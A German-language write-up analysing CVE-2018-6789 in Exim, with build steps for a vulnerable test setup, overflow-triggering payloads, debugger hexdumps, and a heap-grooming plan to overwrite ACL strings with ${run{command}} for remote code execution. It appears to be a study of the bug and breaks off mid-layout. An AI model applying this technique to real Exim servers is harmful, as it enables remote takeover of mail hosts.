
Exploit für CVE-2018-6789, einen Heap-Pufferüberlauf in Exims Base64-Dekodierung, der über Chunk-Overlap und ACL-Stringmanipulation Remotecodeausführung erzielt.
Abhängigkeiten installieren
apt-get install gcc net-tools vim gdb python wget git make procps libpcre3-dev libdb-dev libxt-dev libxaw7-dev
Alte Version von Exim herunterladen
wget ftp://mirror.easyname.at/exim-ftp/exim/exim4/old/exim-4.89.tar.gz
tar -xvzf ./exim-4.89.tar.gz
cd ./exim-4.89
cp src/EDITME Local/Makefile
cp exim_monitor/EDITME Local/eximon.conf
Dann Local/Makefile bearbeiten
Zur Vereinfachung zeigen alle Ordner auf das aktuelle Verzeichnis
BIN_DIRECTORY=/home/zzx/EVA/cve-2018-6789/exim-4.89/bin
CONFIGURE_FILE=/home/zzx/EVA/cve-2018-6789/exim-4.89/configure
SPOOL_DIRECTORY=/home/zzx/EVA/cve-2018-6789/exim-4.89/exim
EXIM_USER=zzx
AUTH_PLAINTEXT=yes
AUTH_CRAM_MD5=yes
AUTH_TLS=yes
Dies erleichtert das Debugging Dann kompilieren und installieren
make install
./configure bearbeiten und direkt mit folgendem Inhalt überschreiben
acl_smtp_mail=acl_check_mail
acl_smtp_data=acl_check_data
begin acl
acl_check_mail:
.ifdef CHECK_MAIL_HELO_ISSUED
deny
message = no HELO given before MAIL command
condition = ${if def:sender_helo_name {no}{yes}}
.endif
accept
acl_check_data:
accept
begin authenticators
fixed_cram:
driver = cram_md5
public_name = CRAM-MD5
server_secret = ${if eq{$auth1}{ph10}{secret}fail}
server_set_id = $auth1
./bin/exim -bd -d-receive
Zuerst wird der Patch in base64.c analysiert:
result ist der Puffer, der das Base64-Decodierungsergebnis speichert und über die Funktion store_get bezogen wird.
Man erkennt, dass die Größenberechnung vor dem Patch fehlerhaft ist: Wenn size im Bereich 4n bis 4n+3 liegt, sind die berechneten Größen gleich, aber b64decode decodiert bei nicht durch 4 teilbaren Argumenten ein oder zwei Bytes mehr.
Senden wir zum Beispiel direkt
auth_md5('Hf'*42)
size=0x40
Speicherverteilung:
pwndbg> hexdump 0x711d60 0x50
+0000 0x711d60 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d │....│....│....│....│
+0010 0x711d70 f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 │....│....│....│....│
+0020 0x711d80 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df │....│....│....│....│
+0030 0x711d90 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 00 │....│....│....│....│
+0040 0x711da0 20 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │.aaa│aaaa│aaaa│aaaa│
Noch ein Test:
auth_md5('Hf'*42+'HfH')
size=0x40
pwndbg> hexdump 0x711d60 0x50
+0000 0x711d60 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d │....│....│....│....│
+0010 0x711d70 f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 │....│....│....│....│
+0020 0x711d80 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df │....│....│....│....│
+0030 0x711d90 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d │....│....│....│....│
+0040 0x711da0 f1 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │.aaa│aaaa│aaaa│aaaa│
Es sind zwei Bytes übergelaufen.
Exim hat aus Leistungsgründen eine eigene Speicherverwaltung über der Heap-Verwaltung implementiert, die als Zwischenpuffer zwischen dem Code und glibc fungiert, um die Anzahl von malloc und free zu reduzieren.
Für Exim wird ein einzelner Heap-Block als storeblock bezeichnet. Jedes Mal, wenn ein Puffer geeigneter Größe benötigt wird, wird ein Teil daraus abgetrennt. Wenn ein storeblock aufgebraucht ist, wird ein neuer storeblock per malloc angefordert.
Die Struktur jedes storeblock ist eine einfache einfach verkettete Liste:
/* Structure describing the beginning of each big block. */
typedef struct storeblock {
struct storeblock *next;
size_t length;
} storeblock;
Die wichtigsten APIs für die Heap-Nutzung befinden sich in store.c:
store_get
store_release
store_extend
store_reset
store_get wird zum Abrufen eines Puffers verwendet. Der relevante Code:
128 void *
129 store_get_3(int size, const char *filename, int linenumber)
....
145 int length = (size <= STORE_BLOCK_SIZE)? STORE_BLOCK_SIZE : size;
...
161 /* If there was no free block, get a new one */
162
163 if (!newblock)
164 {
165 pool_malloc += mlength; /* Used in pools */
166 nonpool_malloc -= mlength; /* Exclude from overall total */
167 newblock = store_malloc(mlength);
...
Man sieht, dass die minimal angeforderte store_block-Größe STORE_BLOCK_SIZE, also 8192, beträgt.
Ein store_block der Größe 8192 hat zusammen mit seinem Struktur-Header und dem Heap-Header eine Gesamtgröße von 0x2020.

Wenn Exim einen vom Client gesendeten Befehl ausführt und dieser erfolgreich ist (d.h. das Format ist korrekt, E-Mail enthält keine ungültigen Zeichen usw.), wird store_reset aufgerufen, um nicht mehr benötigte Caches und überschüssige store_blocks freizugeben. Andernfalls wird store_reset nicht aufgerufen.
Diese Schwachstelle ist ein klassischer Off-by-One (obwohl eigentlich zwei Bytes überlaufen können). Da die Anzahl der überlaufenden Bytes jedoch gering ist, kann keine empfindliche Struktur auf dem Heap direkt überschrieben werden. Daher müssen Eigenschaften von ptmalloc genutzt werden, um die Auswirkung der Schwachstelle zu vergrößern, z.B. in einen größeren Überlauf oder Overlap umzuwandeln. Für Off-by-One-Schwachstellen gibt es eine klassische Ausnutzungsmethode: Chunk Enlarge -> Chunk Overlap. Dabei wird die Größe eines Heap-Blocks vergrößert, ein gefälschter Heap-Header erzeugt, um die glibc-Sanity-Checks zu umgehen, und so ein Overlap der Heap-Blöcke erreicht, der eine größere Überschreibung ermöglicht.
Der Hauptprozess hier ist: Chunk Enlarge -> Chunk Overlap -> Corrupt Next Pointer in storeblock. Dann wird store_reset ausgelöst, was zu einem Free eines beliebigen Heap-Blocks führt. Wenn dieser Block erneut angefordert wird, kann sein Inhalt geändert werden (Type Confusion).
Meh empfiehlt in seinem Artikel, den Heap-Block zu ändern, der die ACL-Strings enthält, da es in der Verarbeitung von ACL-Strings eine Funktion zur Befehlsausführung gibt.
Es gibt viele ACL-Strings, aber die meisten sind NULL (möglicherweise konfigurationsabhängig). Hier wurde der String acl_smtp_mail gewählt. Die Syntax für die Befehlsausführung lautet:
${run{command}}
Die ungefähre Heap-Layout ist wie folgt:

Der erste Heap-Block ist der Block, der aus der Base64-Decodierung stammt und für den Off-by-One verwendet wird. Er sollte sich am Ende eines storeblock befinden. Zur Vereinfachung wird hier direkt ein Block größer als 0x2020 für das Base64-Decodierungsergebnis angefordert.
Der zweite Heap-Block ist sender_helo_name, der verwendet wird, um den nächsten Heap-Block zu überschreiben. sender_helo_name wird nicht in einem storeblock gespeichert, sondern direkt per malloc angefordert:
1832 static BOOL
1833 check_helo(uschar *s)
1834 {
...
1884 if (yield) sender_helo_name = string_copy_malloc(start);
Daher ist die Größe beliebig.
Der dritte Heap-Block ist ein weiterer Block aus der Base64-Decodierung, der hauptsächlich zum Fälschen des Headers und zum Überschreiben verwendet wird. Er sollte sich am Anfang eines storeblock befinden. Auch hier wird der Einfachheit halber die Größe 0x2020 direkt angefordert.